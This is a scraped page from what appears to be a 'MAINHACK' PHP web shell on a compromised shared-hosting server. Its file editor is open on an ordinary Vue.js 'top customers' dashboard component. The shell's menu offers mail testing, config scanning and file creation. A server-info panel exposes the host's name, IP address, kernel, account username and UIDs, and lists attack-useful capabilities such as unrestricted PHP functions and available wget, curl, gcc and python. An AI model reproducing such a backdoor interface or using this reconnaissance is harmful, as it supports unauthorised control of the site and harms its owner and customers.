[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TopCustomersComponent.vue
<template> <LoadingComponent :props="loading" /> <div class="col-12 xl:col-6"> <div class="db-card"> <div class="db-card-header"> <h3 class="font-semibold text-lg capitalize text-heading">{{ $t('label.top_customers') }}</h3> </div> <div class="db-card-body" id="topCustomers" > <div class="min-h-[276px]"> <ul class="grid grid-cols-2 sm:grid-cols-4 gap-4"> <li class="w-full rounded-xl pt-3 border border-[#D9DBE9]" v-if="top_customers.length > 0" v-for="top_customer in top_customers" :key="top_customer"> <img class="w-12 mx-auto rounded-full mb-2" :src="top_customer.image" alt="avatar"> <h4 class="text-sm px-3 text-center font-medium capitalize mb-4 whitespace-nowrap overflow-hidden text-ellipsis"> {{ top_customer.name }}</h4> <p class="text-xs w-full tracking-wide text-center py-1 rounded-t rounded-b-[11px] text-white bg-admin-blue"> {{ top_customer.order }} {{ $t('label.orders') }}</p> </li> </ul> </div> </div> </div> </div> </template> <script> import LoadingComponent from "../components/LoadingComponent"; export default { name: "TopCustomersComponent", components: { LoadingComponent }, data() { return { loading: { isActive: false, }, top_customers: {}, }; }, mounted() { this.topCustomers(); }, methods: { topCustomers: function () { this.loading.isActive = true; this.$store.dispatch('dashboard/topCustomers').then(res => { this.top_customers = res.data.data; this.loading.isActive = false; }).catch((err) => { this.loading.isActive = false; }); }, }, } </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285